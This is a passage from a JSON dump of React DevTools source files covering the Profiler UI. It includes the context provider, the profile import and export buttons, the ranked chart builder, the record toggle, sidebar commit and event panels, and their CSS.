(dataForRoot && dataForRoot.commitData.length > 0) {\n        selectCommitIndex(0);\n      }\n    }\n  }, [profilingData, rootID, selectCommitIndex]);\n\n  const value = useMemo(\n    () => ({\n      selectedTabID,\n      selectTab,\n\n      didRecordCommits,\n      isProcessingData,\n      isProfiling,\n      profilingData,\n      startProfiling,\n      stopProfiling,\n      supportsProfiling,\n\n      rootID,\n      setRootID: setRootIDAndClearFiber,\n\n      isCommitFilterEnabled,\n      setIsCommitFilterEnabled,\n      minCommitDuration,\n      setMinCommitDuration,\n\n      selectedCommitIndex,\n      selectCommitIndex,\n      selectNextCommitIndex,\n      selectPrevCommitIndex,\n      filteredCommitIndices,\n      selectedFilteredCommitIndex,\n\n      selectedFiberID,\n      selectedFiberName,\n      selectFiber,\n    }),\n    [\n      selectedTabID,\n      selectTab,\n\n      didRecordCommits,\n      isProcessingData,\n      isProfiling,\n      profilingData,\n      startProfiling,\n      stopProfiling,\n      supportsProfiling,\n\n      rootID,\n      setRootIDAndClearFiber,\n\n      isCommitFilterEnabled,\n      setIsCommitFilterEnabled,\n      minCommitDuration,\n      setMinCommitDuration,\n\n      selectedCommitIndex,\n      selectCommitIndex,\n      selectNextCommitIndex,\n      selectPrevCommitIndex,\n      filteredCommitIndices,\n      selectedFilteredCommitIndex,\n\n      selectedFiberID,\n      selectedFiberName,\n      selectFiber,\n    ],\n  );\n\n  return (\n    <ProfilerContext.Provider value={value}>\n      {children}\n    </ProfilerContext.Provider>\n  );\n}\n\nexport {ProfilerContext, ProfilerContextController};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ProfilingImportExportButtons.css",
    "content": ".VRule {\n  height: 20px;\n  width: 1px;\n  border-left: 1px solid var(--color-border);\n  padding-left: 0.25rem;\n  margin-left: 0.25rem;\n}\n\n/**\n * https://developer.mozilla.org/en-US/docs/Web/API/File/Using_files_from_web_applications\n */\n.Input {\n  position: absolute !important;\n  height: 1px;\n  width: 1px;\n  overflow: hidden;\n  clip: rect(1px, 1px, 1px, 1px);\n}\n\n.ErrorMessage {\n  margin: 0.5rem 0;\n  color: var(--color-dim);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ProfilingImportExportButtons.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext, useCallback, useRef} from 'react';\nimport {ProfilerContext} from './ProfilerContext';\nimport {ModalDialogContext} from '../ModalDialog';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {StoreContext} from '../context';\nimport {\n  prepareProfilingDataExport,\n  prepareProfilingDataFrontendFromExport,\n} from './utils';\nimport {downloadFile} from '../utils';\nimport {TimelineContext} from 'react-devtools-timeline/src/TimelineContext';\nimport isArray from 'shared/isArray';\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nimport styles from './ProfilingImportExportButtons.css';\n\nimport type {ProfilingDataExport} from './types';\n\nexport default function ProfilingImportExportButtons(): React.Node {\n  const {isProfiling, profilingData, rootID} = useContext(ProfilerContext);\n  const {setFile} = useContext(TimelineContext);\n  const store = useContext(StoreContext);\n  const {profilerStore} = store;\n\n  const inputRef = useRef<HTMLInputElement | null>(null);\n  const downloadRef = useRef<HTMLAnchorElement | null>(null);\n\n  const {dispatch: modalDialogDispatch} = useContext(ModalDialogContext);\n\n  const doesHaveInMemoryData = profilerStore.didRecordCommits;\n\n  const downloadData = useCallback(() => {\n    if (rootID === null) {\n      return;\n    }\n\n    const anchorElement = downloadRef.current;\n\n    if (profilingData !== null && anchorElement !== null) {\n      const profilingDataExport = prepareProfilingDataExport(profilingData);\n      const date = new Date();\n      const dateString = date\n        .toLocaleDateString(undefined, {\n          year: 'numeric',\n          month: '2-digit',\n          day: '2-digit',\n        })\n        .replace(/\\//g, '-');\n      const timeString = date\n        .toLocaleTimeString(undefined, {\n          hour12: false,\n        })\n        .replace(/:/g, '-');\n      downloadFile(\n        anchorElement,\n        `profiling-data.${dateString}.${timeString}.json`,\n        JSON.stringify(profilingDataExport, null, 2),\n      );\n    }\n  }, [rootID, profilingData]);\n\n  const clickInputElement = useCallback(() => {\n    if (inputRef.current !== null) {\n      inputRef.current.click();\n    }\n  }, []);\n\n  // TODO (profiling) We should probably use a transition for this and suspend while loading the file.\n  // Local files load so fast it's probably not very noticeable though.\n  const handleChange = () => {\n    const input = inputRef.current;\n    if (input !== null && input.files.length > 0) {\n      const file = input.files[0];\n\n      // TODO (profiling) Handle fileReader errors.\n      const fileReader = new FileReader();\n      fileReader.addEventListener('load', () => {\n        const raw = ((fileReader.result: any): string);\n        const json = JSON.parse(raw);\n\n        if (!isArray(json) && hasOwnProperty.call(json, 'version')) {\n          // This looks like React profiling data.\n          // But first, clear any User Timing marks; we should only have one type open at a time.\n          setFile(null);\n\n          try {\n            const profilingDataExport = ((json: any): ProfilingDataExport);\n            profilerStore.profilingData =\n              prepareProfilingDataFrontendFromExport(profilingDataExport);\n          } catch (error) {\n            modalDialogDispatch({\n              id: 'ProfilingImportExportButtons',\n              type: 'SHOW',\n              title: 'Import failed',\n              content: (\n                <Fragment>\n                  <div>The profiling data you selected cannot be imported.</div>\n                  {error !== null && (\n                    <div className={styles.ErrorMessage}>{error.message}</div>\n                  )}\n                </Fragment>\n              ),\n            });\n          }\n        } else {\n          // Otherwise let's assume this is Trace Event data and pass it to the Timeline preprocessor.\n          // But first, clear React profiling data; we should only have one type open at a time.\n          profilerStore.clear();\n\n          // TODO (timeline) We shouldn't need to re-open the File but we'll need to refactor to avoid this.\n          setFile(file);\n        }\n      });\n      fileReader.readAsText(file);\n    }\n  };\n\n  return (\n    <Fragment>\n      <div className={styles.VRule} />\n      <input\n        ref={inputRef}\n        className={styles.Input}\n        type=\"file\"\n        accept=\".json\"\n        onChange={handleChange}\n        tabIndex={-1}\n      />\n      <a ref={downloadRef} className={styles.Input} />\n      <Button\n        disabled={isProfiling}\n        onClick={clickInputElement}\n        title=\"Load profile...\">\n        <ButtonIcon type=\"import\" />\n      </Button>\n      <Button\n        disabled={isProfiling || !doesHaveInMemoryData}\n        onClick={downloadData}\n        title=\"Save profile...\">\n        <ButtonIcon type=\"export\" />\n      </Button>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ProfilingNotSupported.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './Profiler.css';\n\nexport default function ProfilingNotSupported(): React.Node {\n  return (\n    <div className={styles.Column}>\n      <div className={styles.Header}>Profiling not supported.</div>\n      <p className={styles.Paragraph}>\n        Profiling support requires either a development or profiling build of\n        React v16.5+.\n      </p>\n      <p className={styles.Paragraph}>\n        Learn more at{' '}\n        <a\n          className={styles.Link}\n          href=\"https://fb.me/react-devtools-profiling\"\n          rel=\"noopener noreferrer\"\n          target=\"_blank\">\n          reactjs.org/link/profiling\n        </a>\n        .\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/RankedChartBuilder.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  ElementTypeForwardRef,\n  ElementTypeMemo,\n} from 'react-devtools-shared/src/frontend/types';\nimport {formatDuration} from './utils';\nimport ProfilerStore from 'react-devtools-shared/src/devtools/ProfilerStore';\n\nimport type {CommitTree} from './types';\n\nexport type ChartNode = {\n  id: number,\n  label: string,\n  name: string,\n  value: number,\n};\n\nexport type ChartData = {\n  maxValue: number,\n  nodes: Array<ChartNode>,\n};\n\nconst cachedChartData: Map<string, ChartData> = new Map();\n\nexport function getChartData({\n  commitIndex,\n  commitTree,\n  profilerStore,\n  rootID,\n}: {\n  commitIndex: number,\n  commitTree: CommitTree,\n  profilerStore: ProfilerStore,\n  rootID: number,\n}): ChartData {\n  const commitDatum = profilerStore.getCommitData(rootID, commitIndex);\n\n  const {fiberActualDurations, fiberSelfDurations} = commitDatum;\n  const {nodes} = commitTree;\n\n  const chartDataKey = `${rootID}-${commitIndex}`;\n  if (cachedChartData.has(chartDataKey)) {\n    return ((cachedChartData.get(chartDataKey): any): ChartData);\n  }\n\n  let maxSelfDuration = 0;\n\n  const chartNodes: Array<ChartNode> = [];\n  fiberActualDurations.forEach((actualDuration, id) => {\n    const node = nodes.get(id);\n\n    if (node == null) {\n      throw Error(`Could not find node with id \"${id}\" in commit tree`);\n    }\n\n    const {displayName, key, parentID, type, compiledWithForget} = node;\n\n    // Don't show the root node in this chart.\n    if (parentID === 0) {\n      return;\n    }\n    const selfDuration = fiberSelfDurations.get(id) || 0;\n    maxSelfDuration = Math.max(maxSelfDuration, selfDuration);\n\n    const name = displayName || 'Anonymous';\n    const maybeKey = key !== null ? ` key=\"${key}\"` : '';\n    const maybeForgetBadge = compiledWithForget ? '✨ ' : '';\n\n    let maybeBadge = '';\n    if (type === ElementTypeForwardRef) {\n      maybeBadge = ' (ForwardRef)';\n    } else if (type === ElementTypeMemo) {\n      maybeBadge = ' (Memo)';\n    }\n\n    const label = `${maybeForgetBadge}${name}${maybeBadge}${maybeKey} (${formatDuration(\n      selfDuration,\n    )}ms)`;\n    chartNodes.push({\n      id,\n      label,\n      name,\n      value: selfDuration,\n    });\n  });\n\n  const chartData = {\n    maxValue: maxSelfDuration,\n    nodes: chartNodes.sort((a, b) => b.value - a.value),\n  };\n\n  cachedChartData.set(chartDataKey, chartData);\n\n  return chartData;\n}\n\nexport function invalidateChartData(): void {\n  cachedChartData.clear();\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/RecordToggle.css",
    "content": ".ActiveRecordToggle {\n  color: var(--color-record-active);\n}\n.ActiveRecordToggle:hover {\n  color: var(--color-record-active);\n}\n.ActiveRecordToggle:focus {\n  color: var(--color-record-active);\n}\n.ActiveRecordToggle:active {\n  color: var(--color-record-hover);\n}\n\n.InactiveRecordToggle {\n  color: var(--color-record-inactive);\n}\n.InactiveRecordToggle:hover {\n  color: var(--color-record-hover);\n}\n.InactiveRecordToggle:focus {\n  color: var(--color-record-inactive);\n}\n.InactiveRecordToggle:active {\n  color: var(--color-record-hover);\n}\n\n.DisabledRecordToggle {\n  color: var(--color-button-disabled);\n}\n.DisabledRecordToggle:hover {\n  color: var(--color-button-disabled);\n}\n.DisabledRecordToggle:focus {\n  color: var(--color-button-disabled);\n}\n.DisabledRecordToggle:active {\n  color: var(--color-button-disabled);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/RecordToggle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {ProfilerContext} from './ProfilerContext';\n\nimport styles from './RecordToggle.css';\n\nexport type Props = {\n  disabled?: boolean,\n};\n\nexport default function RecordToggle({disabled}: Props): React.Node {\n  const {isProfiling, startProfiling, stopProfiling} =\n    useContext(ProfilerContext);\n\n  let className = styles.InactiveRecordToggle;\n  if (disabled) {\n    className = styles.DisabledRecordToggle;\n  } else if (isProfiling) {\n    className = styles.ActiveRecordToggle;\n  }\n\n  const isMac =\n    typeof navigator !== 'undefined' &&\n    navigator.platform.toUpperCase().indexOf('MAC') >= 0;\n  const shortcut = isMac ? '⌘E' : 'Ctrl+E';\n  const title = `${isProfiling ? 'Stop' : 'Start'} profiling - ${shortcut}`;\n\n  return (\n    <Button\n      className={className}\n      disabled={disabled}\n      onClick={isProfiling ? stopProfiling : startProfiling}\n      testName=\"ProfilerToggleButton\"\n      title={title}>\n      <ButtonIcon type=\"record\" />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/RecordingInProgress.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport RecordToggle from './RecordToggle';\n\nimport styles from './Profiler.css';\n\nexport default function RecordingInProgress(): React.Node {\n  return (\n    <div className={styles.Column}>\n      <div className={styles.Header}>Profiling is in progress...</div>\n      <div className={styles.Row}>\n        Click the record button <RecordToggle /> to stop recording.\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ReloadAndProfileButton.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext, useMemo} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {BridgeContext, StoreContext} from '../context';\nimport {useSubscription} from '../hooks';\n\ntype SubscriptionData = {\n  recordChangeDescriptions: boolean,\n  supportsReloadAndProfile: boolean,\n};\n\nexport default function ReloadAndProfileButton({\n  disabled,\n}: {\n  disabled: boolean,\n}): React.Node {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const subscription = useMemo(\n    () => ({\n      getCurrentValue: () => ({\n        recordChangeDescriptions: store.recordChangeDescriptions,\n        supportsReloadAndProfile: store.supportsReloadAndProfile,\n      }),\n      subscribe: (callback: Function) => {\n        store.addListener('recordChangeDescriptions', callback);\n        store.addListener('supportsReloadAndProfile', callback);\n        return () => {\n          store.removeListener('recordChangeDescriptions', callback);\n          store.removeListener('supportsReloadAndProfile', callback);\n        };\n      },\n    }),\n    [store],\n  );\n  const {recordChangeDescriptions, supportsReloadAndProfile} =\n    useSubscription<SubscriptionData>(subscription);\n\n  const reloadAndProfile = useCallback(() => {\n    // TODO If we want to support reload-and-profile for e.g. React Native,\n    // we might need to also start profiling here before reloading the app (since DevTools itself isn't reloaded).\n    // We'd probably want to do this before reloading though, to avoid sending a message on a disconnected port in the browser.\n    // For now, let's just skip doing it entirely to avoid paying snapshot costs for data we don't need.\n    // startProfiling();\n\n    bridge.send('reloadAndProfile', {\n      recordChangeDescriptions,\n      recordTimeline: store.supportsTimeline,\n    });\n  }, [bridge, recordChangeDescriptions, store]);\n\n  if (!supportsReloadAndProfile) {\n    return null;\n  }\n\n  return (\n    <Button\n      disabled={disabled}\n      onClick={reloadAndProfile}\n      title=\"Reload and start profiling\">\n      <ButtonIcon type=\"reload\" />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/RootSelector.css",
    "content": ".Spacer {\n  flex: 1;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/RootSelector.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useCallback, useContext} from 'react';\nimport {ProfilerContext} from './ProfilerContext';\n\nimport styles from './RootSelector.css';\n\nexport default function RootSelector(_: {}): React.Node {\n  const {profilingData, rootID, setRootID} = useContext(ProfilerContext);\n\n  const options = [];\n  if (profilingData !== null) {\n    profilingData.dataForRoots.forEach((dataForRoot, id) => {\n      options.push(\n        <option key={id} value={id}>\n          {dataForRoot.displayName}\n        </option>,\n      );\n    });\n  }\n\n  const handleChange = useCallback(\n    ({currentTarget}: $FlowFixMe) => {\n      setRootID(parseInt(currentTarget.value, 10));\n    },\n    [setRootID],\n  );\n\n  if (profilingData === null || profilingData.dataForRoots.size <= 1) {\n    // Don't take up visual space if there's only one root.\n    return null;\n  }\n\n  return (\n    <Fragment>\n      <div className={styles.Spacer} />\n      <select value={rootID} onChange={handleChange}>\n        {options}\n      </select>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SidebarCommitInfo.css",
    "content": ".Toolbar {\n  height: 2.25rem;\n  padding: 0 0.5rem;\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.Content {\n  padding: 0.5rem;\n  user-select: none;\n  overflow: auto;\n}\n\n.List {\n  list-style: none;\n  margin: 0;\n  padding: 0;\n}\n\n.ListItem {\n  margin: 0 0 0.5rem;\n}\n\n.Label {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  font-weight: bold;\n}\n\n.Value {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.NothingSelected {\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  height: 100%;\n  color: var(--color-dim);\n}\n\n.DurationsList {\n  list-style: none;\n  margin: 0.25rem 0 0 0;\n  padding: 0;\n  background: var(--color-background-inactive);\n  padding: 0.25rem 0.5rem;\n  border-radius: 0.25rem;\n}\n\n.DurationsListItem {\n  margin: 0.25rem 0 0 0;\n}\n.DurationsListItem:first-of-type {\n  margin: 0;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SidebarCommitInfo.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext} from 'react';\nimport {ProfilerContext} from './ProfilerContext';\nimport Updaters from './Updaters';\nimport {formatDuration, formatTime} from './utils';\nimport {StoreContext} from '../context';\nimport {getCommitTree} from './CommitTreeBuilder';\n\nimport styles from './SidebarCommitInfo.css';\n\nexport type Props = {};\n\nexport default function SidebarCommitInfo(_: Props): React.Node {\n  const {selectedCommitIndex, rootID} = useContext(ProfilerContext);\n\n  const {profilerStore} = useContext(StoreContext);\n\n  if (rootID === null || selectedCommitIndex === null) {\n    return <div className={styles.NothingSelected}>Nothing selected</div>;\n  }\n\n  const {\n    duration,\n    effectDuration,\n    passiveEffectDuration,\n    priorityLevel,\n    timestamp,\n    updaters,\n  } = profilerStore.getCommitData(rootID, selectedCommitIndex);\n\n  const hasCommitPhaseDurations =\n    effectDuration !== null || passiveEffectDuration !== null;\n\n  const commitTree =\n    updaters !== null\n      ? getCommitTree({\n          commitIndex: selectedCommitIndex,\n          profilerStore,\n          rootID,\n        })\n      : null;\n\n  return (\n    <Fragment>\n      <div className={styles.Toolbar}>Commit information</div>\n      <div className={styles.Content}>\n        <ul className={styles.List}>\n          {priorityLevel !== null && (\n            <li className={styles.ListItem}>\n              <label className={styles.Label}>Priority</label>:{' '}\n              <span className={styles.Value}>{priorityLevel}</span>\n            </li>\n          )}\n          <li className={styles.ListItem}>\n            <label className={styles.Label}>Committed at</label>:{' '}\n            <span className={styles.Value}>{formatTime(timestamp)}s</span>\n          </li>\n\n          {!hasCommitPhaseDurations && (\n            <li className={styles.ListItem}>\n              <label className={styles.Label}>Render duration</label>:{' '}\n              <span className={styles.Value}>{formatDuration(duration)}ms</span>\n            </li>\n          )}\n\n          {hasCommitPhaseDurations && (\n            <li className={styles.ListItem}>\n              <label className={styles.Label}>Durations</label>\n              <ul className={styles.DurationsList}>\n                <li className={styles.DurationsListItem}>\n                  <label className={styles.Label}>Render</label>:{' '}\n                  <span className={styles.Value}>\n                    {formatDuration(duration)}ms\n                  </span>\n                </li>\n                {effectDuration !== null && (\n                  <li className={styles.DurationsListItem}>\n                    <label className={styles.Label}>Layout effects</label>:{' '}\n                    <span className={styles.Value}>\n                      {formatDuration(effectDuration)}ms\n                    </span>\n                  </li>\n                )}\n                {passiveEffectDuration !== null && (\n                  <li className={styles.DurationsListItem}>\n                    <label className={styles.Label}>Passive effects</label>:{' '}\n                    <span className={styles.Value}>\n                      {formatDuration(passiveEffectDuration)}ms\n                    </span>\n                  </li>\n                )}\n              </ul>\n            </li>\n          )}\n\n          {updaters !== null && commitTree !== null && (\n            <li className={styles.ListItem}>\n              <label className={styles.Label}>What caused this update</label>?\n              <Updaters commitTree={commitTree} updaters={updaters} />\n            </li>\n          )}\n        </ul>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SidebarEventInfo.css",
    "content": ".Toolbar {\n  height: 2.25rem;\n  padding: 0 0.5rem;\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.Content {\n  padding: 0.5rem;\n  user-select: none;\n  overflow: auto;\n}\n\n.List {\n  list-style: none;\n  margin: 0;\n  padding: 0;\n}\n\n.ListItem {\n  flex: 1 1;\n  margin: 0 0 0.5rem;\n}\n\n.Label {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  font-weight: bold;\n  flex: 1 1;\n}\n\n.Value {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.Row {  \n  display: flex;  \n  flex-direction: row;  \n  align-items: center;\n  border-top: 1px solid var(--color-border);\n} \n\n.UnclickableSource,\n.ClickableSource {\n  width: 100%;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-normal);\n}\n\n.UnclickableSource {\n  color: var(--color-dim);\n}\n\n.ClickableSource {\n  color: var(--color-text);\n}\n\n.ClickableSource:focus,\n.ClickableSource:hover {\n  background-color: var(--color-background-hover);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SidebarEventInfo.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SchedulingEvent} from 'react-devtools-timeline/src/types';\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {useContext} from 'react';\nimport {TimelineContext} from 'react-devtools-timeline/src/TimelineContext';\nimport {\n  formatTimestamp,\n  getSchedulingEventLabel,\n} from 'react-devtools-timeline/src/utils/formatting';\nimport {stackToComponentLocations} from 'react-devtools-shared/src/devtools/utils';\nimport {copy} from 'clipboard-js';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\nimport useOpenResource from '../useOpenResource';\n\nimport styles from './SidebarEventInfo.css';\n\nexport type Props = {};\n\ntype FunctionLocationProps = {\n  location: ReactFunctionLocation,\n  displayName: string,\n};\nfunction FunctionLocation({location, displayName}: FunctionLocationProps) {\n  // TODO: We should support symbolication here as well, but\n  // symbolicating the whole stack can be expensive\n  const [canViewSource, viewSource] = useOpenResource(location, null);\n  return (\n    <li>\n      <Button\n        className={\n          canViewSource ? styles.ClickableSource : styles.UnclickableSource\n        }\n        disabled={!canViewSource}\n        onClick={viewSource}>\n        {displayName}\n      </Button>\n    </li>\n  );\n}\n\ntype SchedulingEventProps = {\n  eventInfo: SchedulingEvent,\n};\n\nfunction SchedulingEventInfo({eventInfo}: SchedulingEventProps) {\n  const {componentName, timestamp} = eventInfo;\n  const componentStack = eventInfo.componentStack || null;\n\n  return (\n    <>\n      <div className={styles.Toolbar}>\n        {componentName} {getSchedulingEventLabel(eventInfo)}\n      </div>\n      <div className={styles.Content} tabIndex={0}>\n        <ul className={styles.List}>\n          <li className={styles.ListItem}>\n            <label className={styles.Label}>Timestamp</label>:{' '}\n            <span className={styles.Value}>{formatTimestamp(timestamp)}</span>\n          </li>\n          {componentStack && (\n            <li className={styles.ListItem}>\n              <div className={styles.Row}>\n                <label className={styles.Label}>Rendered by</label>\n                <Button\n                  onClick={withPermissionsCheck(\n                    {permissions: ['clipboardWrite']},\n                    () => copy(componentStack),\n                  )}\n                  title=\"Copy component stack to clipboard\">\n                  <ButtonIcon type=\"copy\" />\n                </Button>\n              </div>\n              <ul className={styles.List}>\n                {stackToComponentLocations(componentStack).map(\n                  ([displayName, location], index) => {\n                    if (location == null) {\n                      return (\n                        <li key={index}>\n                          <Button\n                            className={styles.UnclickableSource}\n                            disabled={true}>\n                            {displayName}\n                          </Button>\n                        </li>\n                      );\n                    }\n\n                    return (\n                      <FunctionLocation\n                        key={index}\n                        displayName={displayName}\n                        location={location}\n                      />\n                    );\n                  },\n                )}\n              </ul>\n            </li>\n          )}\n        </ul>\n      </div>\n    </>\n  );\n}\n\nexport default function SidebarEventInfo(_: Props): React.Node {\n  const {selectedEvent} = useContext(TimelineContext);\n  // (TODO) Refactor in next PR so this supports multiple types of events\n  if (selectedEvent && selectedEvent.schedulingEvent) {\n    return <SchedulingEventInfo eventInfo={selectedEvent.schedulingEvent} />;\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SidebarSelectedFiberInfo.css",
    "content": ".Toolbar {\n  height: 2.25rem;\n  padding: 0 0.5rem;\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.Content {\n  padding: 0.5rem;\n  user-select: none;\n  overflow-y: auto;\n  display: flex;\n  flex-direction: column;\n  gap: 0.5rem;\n}\n\n.Component {\n  flex: 1;\n  color: var(--color-component-name);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  white-space: nowrap;\n  overflow-x: hidden;\n  text-overflow: ellipsis;\n}\n\n.Label {\n  font-weight: bold;\n  margin-bottom: 0.5rem;\n}\n\n.CurrentCommit,\n.Commit {\n  display: block;\n  width: 100%;\n  text-align: left;\n  background: none;\n  border: none;\n  padding: 0.25rem 0.5rem;\n  color: var(--color-text);\n}\n\n.Commit:focus,\n.Commit:hover {\n  outline: none;\n  background-color: var(--color-background-hover);\n}\n\n.CurrentCommit {\n  background-color: var(--color-background-selected);\n  color: var(--color-text-selected);\n}\n\n.CurrentCommit:focus {\n  outline: none;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SidebarSelectedFiberInfo.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext, useEffect, useRef} from 'react';\n\nimport WhatChanged from './WhatChanged';\nimport {ProfilerContext} from './ProfilerContext';\nimport {formatDuration, formatTime} from './utils';\nimport {StoreContext} from '../context';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport InspectedElementBadges from '../Components/InspectedElementBadges';\n\nimport styles from './SidebarSelectedFiberInfo.css';\n\nexport default function SidebarSelectedFiberInfo(): React.Node {\n  const {profilerStore} = useContext(StoreContext);\n  const {\n    rootID,\n    selectCommitIndex,\n    selectedCommitIndex,\n    selectedFiberID,\n    selectedFiberName,\n    selectFiber,\n  } = useContext(ProfilerContext);\n  const {profilingCache} = profilerStore;\n  const selectedListItemRef = useRef<HTMLElement | null>(null);\n\n  useEffect(() => {\n    const selectedElement = selectedListItemRef.current;\n    if (\n      selectedElement !== null &&\n      // $FlowFixMe[method-unbinding]\n      typeof selectedElement.scrollIntoView === 'function'\n    ) {\n      selectedElement.scrollIntoView({block: 'nearest', inline: 'nearest'});\n    }\n  }, [selectedCommitIndex]);\n\n  if (\n    selectedFiberID === null ||\n    rootID === null ||\n    selectedCommitIndex === null\n  ) {\n    return null;\n  }\n\n  const commitIndices = profilingCache.getFiberCommits({\n    fiberID: selectedFiberID,\n    rootID: rootID,\n  });\n\n  const {nodes} = profilingCache.getCommitTree({\n    rootID,\n    commitIndex: selectedCommitIndex,\n  });\n  const node = nodes.get(selectedFiberID);\n\n  // $FlowFixMe[missing-local-annot]\n  const handleKeyDown = event => {\n    switch (event.key) {\n      case 'ArrowUp':\n        if (selectedCommitIndex !== null) {\n          const prevIndex = commitIndices.indexOf(selectedCommitIndex);\n          const nextIndex =\n            prevIndex > 0 ? prevIndex - 1 : commitIndices.length - 1;\n          selectCommitIndex(commitIndices[nextIndex]);\n        }\n        event.preventDefault();\n        break;\n      case 'ArrowDown':\n        if (selectedCommitIndex !== null) {\n          const prevIndex = commitIndices.indexOf(selectedCommitIndex);\n          const nextIndex =\n            prevIndex < commitIndices.length - 1 ? prevIndex + 1 : 0;\n          selectCommitIndex(commitIndices[nextIndex]);\n        }\n        event.preventDefault();\n        break;\n      default:\n        break;\n    }\n  };\n\n  const listItems = [];\n  let i = 0;\n  for (i = 0; i < commitIndices.length; i++) {\n    const commitIndex = commitIndices[i];\n\n    const {duration, timestamp} = profilerStore.getCommitData(\n      ((rootID: any): number),\n      commitIndex,\n    );\n\n    listItems.push(\n      <button\n        key={commitIndex}\n        ref={selectedCommitIndex === commitIndex ? selectedListItemRef : null}\n        className={\n          selectedCommitIndex === commitIndex\n            ? styles.CurrentCommit\n            : styles.Commit\n        }\n        onClick={() => selectCommitIndex(commitIndex)}>\n        {formatTime(timestamp)}s for {formatDuration(duration)}ms\n      </button>,\n    );\n  }\n\n  return (\n    <Fragment>\n      <div className={styles.Toolbar}>\n        <div className={styles.Component}>\n          {selectedFiberName || 'Selected component'}\n        </div>\n\n        <Button\n          onClick={() => selectFiber(null, null)}\n          title=\"Back to commit view\">\n          <ButtonIcon type=\"close\" />\n        </Button>\n      